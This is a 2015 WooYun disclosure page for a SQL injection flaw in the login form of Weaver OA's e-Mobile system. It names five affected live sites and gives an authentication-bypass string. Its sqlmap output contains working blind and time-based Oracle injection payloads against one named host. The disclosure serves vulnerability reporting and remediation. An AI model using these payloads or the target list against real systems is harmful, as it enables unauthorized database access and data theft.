当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0104678

漏洞标题：泛微oa某系统通用注入漏洞（5案例）

相关厂商：CNCERT

漏洞作者： Vigoss_Z

提交时间：2015-03-30 09:46

修复时间：2015-07-02 10:28

公开时间：2015-07-02 10:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-30： 细节已通知厂商并且等待厂商处理中
2015-04-03： 厂商已经确认，细节仅向厂商公开
2015-04-06： 细节向第三方安全合作伙伴开放
2015-05-28： 细节向核心白帽子及相关领域专家公开
2015-06-07： 细节向普通白帽子公开
2015-06-17： 细节向实习白帽子公开
2015-07-02： 细节向公众公开

简要描述：

rt

详细说明：

泛微oa的e-Mobile系统注入漏洞，
http://emobile.weaver.com.cn/case.html
具体的：
http://oa.chinajiutai.com:89/login.do
http://www.fsxtx.cn/login.do
http://m.zxhsd.com/login.do
http://wap.helichina.com
http://m.liando.cn
4.5,4.6版本存在注入。
登陆框用户名处注入，'or'1'='1 密码错误。盲注和延时注入。
Oracle,MSSQL的数据库。

00007.JPG


Host: wap.helichina.com

Parameter: loginid
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: loginid=-7599' OR (8705=8705) AND 'nhkT'='nhkT&password=1&authcode=
&dynapass=&tokenpass=&clienttype=Webclient&clientver=4.5&language=&country=&veri
fy=&needdyna=
    Vector: OR ([INFERENCE])
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: loginid=1' AND 1965=DBMS_PIPE.RECEIVE_MESSAGE(CHR(69)||CHR(116)||CH
R(90)||CHR(80),5) AND 'cdiy'='cdiy&password=1&authcode=&dynapass=&tokenpass=&cli
enttype=Webclient&clientver=4.5&language=&country=&verify=&needdyna=
    Vector: AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAG
E('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
---
[INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[INFO] fetching current user
[PAYLOAD] -6526
[INFO] resumed: OA
[DEBUG] performed 0 queries in 0.00 seconds
current user:    'OA'


漏洞证明：

修复方案：

版权声明：转载请注明来源 Vigoss_Z@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-04-03 10:27

厂商回复：

CNVD确认并复现所述情况，已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-30 09:54 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    泛微、

  2. 2015-03-30 09:56 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    OA、

  3. 2015-03-30 10:06 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    只有5个案例

  4. 2015-03-30 10:17 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @动后河 你是审核？？

  5. 2015-03-30 10:24 | p4ssw0rd ( 普通白帽子 | Rank:306 漏洞数:92 | 不作死就不会死)

    泛微各种注入，蛋疼的是表多的要命

  6. 2015-07-02 11:03 | 蓝冰 ( 核心白帽子 | Rank:627 漏洞数:50 | -.-)

    我晕了 原来有人发这个了啊...为毛搜不到